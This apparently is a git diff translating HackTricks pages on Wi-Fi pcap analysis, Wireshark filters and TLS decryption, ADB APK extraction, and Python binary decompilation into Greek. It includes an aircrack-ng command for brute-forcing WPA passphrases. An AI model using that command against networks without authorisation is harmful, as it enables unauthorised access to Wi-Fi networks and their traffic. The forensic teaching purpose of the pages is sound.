One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`:
|
||||
## Βίαιη Δύναμη
|
||||
|
||||
Ένας από τους στήλες αυτής της οθόνης υποδεικνύει εάν **βρέθηκε οποιαδήποτε πιστοποίηση μέσα στο pcap**. Εάν αυτό είναι το περιστατικό, μπορείτε να δοκιμάσετε να το βρείτε με βίαιη δύναμη χρησιμοποιώντας το `aircrack-ng`:
|
||||
```bash
|
||||
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
|
||||
```
|
||||
Για παράδειγμα, θα ανακτήσει τον κωδικό πρόσβασης WPA που προστατεύει ένα PSK (pre shared-key), ο οποίος θα απαιτηθεί αργότερα για την αποκρυπτογράφηση της κίνησης.
|
||||
|
||||
For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later.
|
||||
# Δεδομένα στα Beacons / Side Channel
|
||||
|
||||
# Data in Beacons / Side Channel
|
||||
Εάν υποψιάζεστε ότι **δεδομένα διαρρέουν μέσα στα beacons ενός δικτύου Wifi**, μπορείτε να ελέγξετε τα beacons του δικτύου χρησιμοποιώντας ένα φίλτρο όπως το εξής: `wlan contains <ΟΝΟΜΑτουΔΙΚΤΥΟΥ>`, ή `wlan.ssid == "ΟΝΟΜΑτουΔΙΚΤΥΟΥ"` αναζήτηση μέσα στα φιλτραρισμένα πακέτα για ύποπτες αλφαριθμητικές ακολουθίες.
|
||||
|
||||
If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains <NAMEofNETWORK>`, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings.
|
||||
# Εύρεση Άγνωστων Διευθύνσεων MAC σε Ένα Δίκτυο Wifi
|
||||
|
||||
# Find Unknown MAC Addresses in A Wifi Network
|
||||
|
||||
The following link will be useful to find the **machines sending data inside a Wifi Network**:
|
||||
Ο παρακάτω σύνδεσμος θα είναι χρήσιμος για να βρείτε τις **μηχανές που αποστέλλουν δεδομένα μέσα σε ένα δίκτυο Wifi**:
|
||||
|
||||
* `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
|
||||
|
||||
If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
|
||||
Εάν ήδη γνωρίζετε **διευθύνσεις MAC, μπορείτε να τις αφαιρέσετε από την έξοδο** προσθέτοντας ελέγχους όπως αυτός: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
|
||||
|
||||
Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr==<MAC address> && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic.
|
||||
Αφού ανιχνεύσετε **άγνωστες διευθύνσεις MAC** που επικοινωνούν μέσα στο δίκτυο, μπορείτε να χρησιμοποιήσετε **φίλτρα** όπως το εξής: `wlan.addr==<διεύθυνση MAC> && (ftp || http || ssh || telnet)` για να φιλτράρετε την κίνησή τους. Σημειώστε ότι τα φίλτρα ftp/http/ssh/telnet είναι χρήσιμα εάν έχετε αποκρυπτογραφήσει την κίνηση.
|
||||
|
||||
# Decrypt Traffic
|
||||
# Αποκρυπτογράφηση Κίνησης
|
||||
|
||||
Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
|
||||
Επεξεργασία --> Προτιμήσεις --> Πρωτόκολλα --> IEEE 802.11--> Επεξεργασία
|
||||
|
||||
![](<../../../.gitbook/assets/image (426).png>)
|
||||
|
||||
|
@ -59,16 +55,14 @@ Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,183 +1,122 @@
|
|||
# Wireshark tricks
|
||||
# Κόλπα Wireshark
|
||||
|
||||
## Wireshark tricks
|
||||
## Κόλπα Wireshark
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## Improve your Wireshark skills
|
||||
## Βελτιώστε τις δεξιότητες σας στο Wireshark
|
||||
|
||||
### Tutorials
|
||||
### Οδηγοί
|
||||
|
||||
The following tutorials are amazing to learn some cool basic tricks:
|
||||
Οι παρακάτω οδηγοί είναι εκπληκτικοί για να μάθετε μερικά ψυχαγωγικά βασικά κόλπα:
|
||||
|
||||
* [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/)
|
||||
* [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/)
|
||||
* [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/)
|
||||
* [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/)
|
||||
|
||||
### Analysed Information
|
||||
### Αναλυμένες πληροφορίες
|
||||
|
||||
**Expert Information**
|
||||
**Ειδικές πληροφορίες**
|
||||
|
||||
Clicking on _**Analyze** --> **Expert Information**_ you will have an **overview** of what is happening in the packets **analyzed**:
|
||||
Κάνοντας κλικ στο _**Ανάλυση** --> **Ειδικές πληροφορίες**_ θα έχετε μια **επισκόπηση** του τι συμβαίνει στα αναλυμένα πακέτα:
|
||||
|
||||
![](<../../../.gitbook/assets/image (570).png>)
|
||||
|
||||
**Resolved Addresses**
|
||||
**Επιλυμένες διευθύνσεις**
|
||||
|
||||
Under _**Statistics --> Resolved Addresses**_ you can find several **information** that was "**resolved**" by wireshark like port/transport to protocol, MAC to the manufacturer, etc. It is interesting to know what is implicated in the communication.
|
||||
Στο _**Στατιστικά --> Επιλυμένες διευθύνσεις**_ μπορείτε να βρείτε πολλές πληροφορίες που έχουν "**επιλυθεί**" από το wireshark, όπως θύρα/μεταφορά σε πρωτόκολλο, MAC στον κατασκευαστή, κλπ. Είναι ενδιαφέρον να γνωρίζετε τι εμπλέκεται στην επικοινωνία.
|
||||
|
||||
![](<../../../.gitbook/assets/image (571).png>)
|
||||
|
||||
**Protocol Hierarchy**
|
||||
**Ιεραρχία πρωτοκόλλων**
|
||||
|
||||
Under _**Statistics --> Protocol Hierarchy**_ you can find the **protocols** **involved** in the communication and data about them.
|
||||
Στο _**Στατιστικά --> Ιεραρχία πρωτοκόλλων**_ μπορείτε να βρείτε τα **πρωτόκολλα** που εμπλέκονται στην επικοινωνία και πληροφορίες για αυτά.
|
||||
|
||||
![](<../../../.gitbook/assets/image (572).png>)
|
||||
|
||||
**Conversations**
|
||||
**Συνομιλίες**
|
||||
|
||||
Under _**Statistics --> Conversations**_ you can find a **summary of the conversations** in the communication and data about them.
|
||||
Στο _**Στατιστικά --> Συνομιλίες**_ μπορείτε να βρείτε ένα **σύνολο πληροφοριών για τις συνομιλίες** στην επικοινωνία και πληροφορίες για αυτές.
|
||||
|
||||
![](<../../../.gitbook/assets/image (573).png>)
|
||||
|
||||
**Endpoints**
|
||||
**Σημεία άφιξης**
|
||||
|
||||
Under _**Statistics --> Endpoints**_ you can find a **summary of the endpoints** in the communication and data about each of them.
|
||||
Στο _**Στατιστικά --> Σημεία άφιξης**_ μπορείτε να βρείτε ένα **σύνολο πληροφοριών για τα σημεία άφιξης** στην επικοινωνία και πληροφορίες για καθένα από αυτά.
|
||||
|
||||
![](<../../../.gitbook/assets/image (575).png>)
|
||||
|
||||
**DNS info**
|
||||
**Πληροφορίες DNS**
|
||||
|
||||
Under _**Statistics --> DNS**_ you can find statistics about the DNS request captured.
|
||||
Στο _**Στατιστικά --> DNS**_ μπορείτε να βρείτε στατιστικά σχετικά με τα καταγεγραμμένα αιτήματα DNS.
|
||||
|
||||
![](<../../../.gitbook/assets/image (577).png>)
|
||||
|
||||
**I/O Graph**
|
||||
**Διάγραμμα I/O**
|
||||
|
||||
Under _**Statistics --> I/O Graph**_ you can find a **graph of the communication.**
|
||||
Στο _**Στατιστικά --> Διάγραμμα I/O**_ μπορείτε να βρείτε ένα **διάγραμμα της επικοινωνίας**.
|
||||
|
||||
![](<../../../.gitbook/assets/image (574).png>)
|
||||
|
||||
### Filters
|
||||
### Φίλτρα
|
||||
|
||||
Here you can find wireshark filter depending on the protocol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
|
||||
Other interesting filters:
|
||||
Εδώ μπορείτε να βρείτε φίλτρα wireshark ανάλογα με το πρωτόκολλο: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
|
||||
Άλλα ενδιαφέροντα φίλτρα:
|
||||
|
||||
* `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
|
||||
* HTTP and initial HTTPS traffic
|
||||
* Κίνηση HTTP και αρχική κίνηση HTTPS
|
||||
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)`
|
||||
* HTTP and initial HTTPS traffic + TCP SYN
|
||||
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)`
|
||||
* HTTP and initial HTTPS traffic + TCP SYN + DNS requests
|
||||
|
||||
### Search
|
||||
|
||||
If you want to **search** for **content** inside the **packets** of the sessions press _CTRL+f_. You can add new layers to the main information bar (No., Time, Source, etc.) by pressing the right button and then the edit column.
|
||||
|
||||
### Free pcap labs
|
||||
|
||||
**Practice with the free challenges of: [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net)**
|
||||
|
||||
## Identifying Domains
|
||||
|
||||
You can add a column that shows the Host HTTP header:
|
||||
|
||||
![](<../../../.gitbook/assets/image (403).png>)
|
||||
|
||||
And a column that add the Server name from an initiating HTTPS connection (**ssl.handshake.type == 1**):
|
||||
|
||||
![](<../../../.gitbook/assets/image (408) (1).png>)
|
||||
|
||||
## Identifying local hostnames
|
||||
|
||||
### From DHCP
|
||||
|
||||
In current Wireshark instead of `bootp` you need to search for `DHCP`
|
||||
|
||||
![](<../../../.gitbook/assets/image (404).png>)
|
||||
|
||||
### From NBNS
|
||||
|
||||
![](<../../../.gitbook/assets/image (405).png>)
|
||||
|
||||
## Decrypting TLS
|
||||
|
||||
### Decrypting https traffic with server private key
|
||||
|
||||
_edit>preference>protocol>ssl>_
|
||||
|
||||
![](<../../../.gitbook/assets/image (98).png>)
|
||||
|
||||
Press _Edit_ and add all the data of the server and the private key (_IP, Port, Protocol, Key file and password_)
|
||||
|
||||
### Decrypting https traffic with symmetric session keys
|
||||
|
||||
Both Firefox and Chrome have the capability to log TLS session keys, which can be used with Wireshark to decrypt TLS traffic. This allows for in-depth analysis of secure communications. More details on how to perform this decryption can be found in a guide at [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
|
||||
|
||||
To detect this search inside the environment for to variable `SSLKEYLOGFILE`
|
||||
|
||||
A file of shared keys will look like this:
|
||||
|
||||
![](<../../../.gitbook/assets/image (99).png>)
|
||||
|
||||
To import this in wireshark go to \_edit > preference > protocol > ssl > and import it in (Pre)-Master-Secret log filename:
|
||||
|
||||
![](<../../../.gitbook/assets/image (100).png>)
|
||||
|
||||
## ADB communication
|
||||
|
||||
Extract an APK from an ADB communication where the APK was sent:
|
||||
|
||||
* Κίνηση HTTP και αρχική κίνηση HTTPS + TCP SYN
|
||||
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and
|
||||
```python
|
||||
from scapy.all import *
|
||||
|
||||
pcap = rdpcap("final2.pcapng")
|
||||
|
||||
def rm_data(data):
|
||||
splitted = data.split(b"DATA")
|
||||
if len(splitted) == 1:
|
||||
return data
|
||||
else:
|
||||
return splitted[0]+splitted[1][4:]
|
||||
splitted = data.split(b"DATA")
|
||||
if len(splitted) == 1:
|
||||
return data
|
||||
else:
|
||||
return splitted[0]+splitted[1][4:]
|
||||
|
||||
all_bytes = b""
|
||||
for pkt in pcap:
|
||||
if Raw in pkt:
|
||||
a = pkt[Raw]
|
||||
if b"WRTE" == bytes(a)[:4]:
|
||||
all_bytes += rm_data(bytes(a)[24:])
|
||||
else:
|
||||
all_bytes += rm_data(bytes(a))
|
||||
if Raw in pkt:
|
||||
a = pkt[Raw]
|
||||
if b"WRTE" == bytes(a)[:4]:
|
||||
all_bytes += rm_data(bytes(a)[24:])
|
||||
else:
|
||||
all_bytes += rm_data(bytes(a))
|
||||
print(all_bytes)
|
||||
|
||||
f = open('all_bytes.data', 'w+b')
|
||||
f.write(all_bytes)
|
||||
f.close()
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,89 +1,78 @@
|
|||
# Decompile compiled python binaries (exe, elf) - Retreive from .pyc
|
||||
# Αποσυμπίεση μεταγλωττισμένων δυαδικών αρχείων Python (exe, elf) - Ανάκτηση από το .pyc
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
Εάν ενδιαφέρεστε για μια **καριέρα στο χάκινγκ** και θέλετε να χακεύετε το αχακίτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικού_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## From Compiled Binary to .pyc
|
||||
|
||||
From an **ELF** compiled binary you can **get the .pyc** with:
|
||||
## Από Μεταγλωττισμένο Δυαδικό σε .pyc
|
||||
|
||||
Από ένα **ELF** μεταγλωττισμένο δυαδικό μπορείτε να **ανακτήσετε το .pyc** με την εντολή:
|
||||
```bash
|
||||
pyi-archive_viewer <binary>
|
||||
# The list of python modules will be given here:
|
||||
[(0, 230, 311, 1, 'm', 'struct'),
|
||||
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
|
||||
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
|
||||
(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
|
||||
(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
|
||||
(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
|
||||
(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
|
||||
(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
|
||||
(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
|
||||
(15535, 2514, 4421, 1, 's', 'binary_name'),
|
||||
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
|
||||
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
|
||||
(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
|
||||
(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
|
||||
(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
|
||||
(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
|
||||
(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
|
||||
(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
|
||||
(15535, 2514, 4421, 1, 's', 'binary_name'),
|
||||
...
|
||||
|
||||
? X binary_name
|
||||
to filename? /tmp/binary.pyc
|
||||
```
|
||||
|
||||
In a **python exe binary** compiled you can **get the .pyc** by running:
|
||||
|
||||
Σε ένα **εκτελέσιμο αρχείο python exe** που έχει μεταγλωττιστεί, μπορείτε να **αποκτήσετε το .pyc** εκτελώντας:
|
||||
```bash
|
||||
python pyinstxtractor.py executable.exe
|
||||
```
|
||||
## Από το .pyc σε κώδικα Python
|
||||
|
||||
## From .pyc to python code
|
||||
|
||||
For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**:
|
||||
|
||||
Για τα δεδομένα **.pyc** («μεταγλωττισμένος» κώδικας Python) θα πρέπει να αρχίσετε προσπαθώντας να **εξάγετε** τον **αρχικό** **κώδικα** **Python**:
|
||||
```bash
|
||||
uncompyle6 binary.pyc > decompiled.py
|
||||
```
|
||||
**Βεβαιωθείτε** ότι το δυαδικό έχει την **επέκταση** "**.pyc**" (αν δεν έχει, το uncompyle6 δεν θα λειτουργήσει)
|
||||
|
||||
**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work)
|
||||
|
||||
While executing **uncompyle6** you might find the **following errors**:
|
||||
|
||||
### Error: Unknown magic number 227
|
||||
Κατά την εκτέλεση του **uncompyle6** μπορεί να συναντήσετε τα **παρακάτω σφάλματα**:
|
||||
|
||||
### Σφάλμα: Άγνωστος μαγικός αριθμός 227
|
||||
```bash
|
||||
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
|
||||
Unknown magic number 227 in /tmp/binary.pyc
|
||||
```
|
||||
Για να διορθώσετε αυτό, χρειάζεται να **προσθέσετε το σωστό μαγικό αριθμό** στην αρχή του δημιουργημένου αρχείου.
|
||||
|
||||
To fix this you need to **add the correct magic number** at the beginning of the generated file.
|
||||
|
||||
**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute:
|
||||
|
||||
Οι **μαγικοί αριθμοί διαφέρουν ανάλογα με την έκδοση της Python**, για να πάρετε τον μαγικό αριθμό της **Python 3.8** θα πρέπει να **ανοίξετε ένα τερματικό Python 3.8** και να εκτελέσετε:
|
||||
```
|
||||
>> import imp
|
||||
>> imp.get_magic().hex()
|
||||
'550d0d0a'
|
||||
```
|
||||
Ο **μαγικός αριθμός** σε αυτήν την περίπτωση για την python3.8 είναι **`0x550d0d0a`**, έπειτα, για να διορθώσετε αυτό το σφάλμα θα πρέπει να **προσθέσετε** στην **αρχή** του **αρχείου .pyc** τα παρακάτω bytes: `0x0d550a0d000000000000000000000000`
|
||||
|
||||
The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000`
|
||||
|
||||
**Once** you have **added** that magic header, the **error should be fixed.**
|
||||
|
||||
This is how a correctly added **.pyc python3.8 magic header** will look like:
|
||||
**Μόλις** προσθέσετε αυτόν τον μαγικό κεφαλίδα, το **σφάλμα θα πρέπει να διορθωθεί.**
|
||||
|
||||
Έτσι θα φαίνεται ένας σωστά προσθεμένος **.pyc python3.8 μαγικός κεφαλίδας**:
|
||||
```bash
|
||||
hexdump 'binary.pyc' | head
|
||||
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
|
||||
|
@ -91,28 +80,26 @@ hexdump 'binary.pyc' | head
|
|||
0000020 0700 0000 4000 0000 7300 0132 0000 0064
|
||||
0000030 0164 006c 005a 0064 0164 016c 015a 0064
|
||||
```
|
||||
### Σφάλμα: Αποσυναρμολόγηση γενικών σφαλμάτων
|
||||
|
||||
### Error: Decompiling generic errors
|
||||
Άλλα σφάλματα όπως: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` μπορεί να εμφανιστούν.
|
||||
|
||||
**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` may appear.
|
||||
Αυτό πιθανώς σημαίνει ότι δεν έχετε προσθέσει σωστά τον μαγικό αριθμό ή ότι δεν έχετε χρησιμοποιήσει τον σωστό μαγικό αριθμό, οπότε βεβαιωθείτε ότι χρησιμοποιείτε τον σωστό (ή δοκιμάστε έναν νέο).
|
||||
|
||||
